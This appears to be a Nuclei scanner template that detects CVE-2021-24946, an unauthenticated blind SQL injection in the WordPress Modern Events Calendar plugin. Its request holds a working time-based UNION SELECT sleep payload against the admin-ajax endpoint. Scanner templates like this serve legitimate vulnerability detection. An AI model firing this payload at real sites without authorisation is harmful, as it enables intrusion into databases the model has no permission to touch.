36 lines
1.3 KiB
YAML
36 lines
1.3 KiB
YAML
|
id: CVE-2021-24946
|
||
|
|
||
|
info:
|
||
|
name: Modern Events Calendar < 6.1.5 - Unauthenticated Blind SQL Injection
|
||
|
author: theamanrawat
|
||
|
severity: critical
|
||
|
description: |
|
||
|
The plugin does not sanitise and escape the time parameter before using it in a SQL statement in the mec_load_single_page AJAX action, available to unauthenticated users, leading to an unauthenticated SQL injection issue.
|
||
|
reference:
|
||
|
- https://wpscan.com/vulnerability/09871847-1d6a-4dfe-8a8c-f2f53ff87445
|
||
|
- https://wordpress.org/plugins/modern-events-calendar-lite/
|
||
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24946
|
||
|
classification:
|
||
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||
|
cvss-score: 9.8
|
||
|
cve-id: CVE-2021-24946
|
||
|
cwe-id: CWE-89
|
||
|
metadata:
|
||
|
verified: "true"
|
||
|
tags: cve,cve2021,sqli,wpscan,wordpress,wp-plugin,wp,modern-events-calendar-lite,unauth
|
||
|
|
||
|
requests:
|
||
|
- raw:
|
||
|
- |
|
||
|
@timeout: 10s
|
||
|
GET /wp-admin/admin-ajax.php?action=mec_load_single_page&time=1))%20UNION%20SELECT%20sleep(6)%20--%20g HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
|
||
|
matchers:
|
||
|
- type: dsl
|
||
|
dsl:
|
||
|
- 'duration>=6'
|
||
|
- 'status_code == 200'
|
||
|
- 'contains(content_type, "text/html")'
|
||
|
- 'contains(body, "The event is finished")'
|
||
|
condition: and
|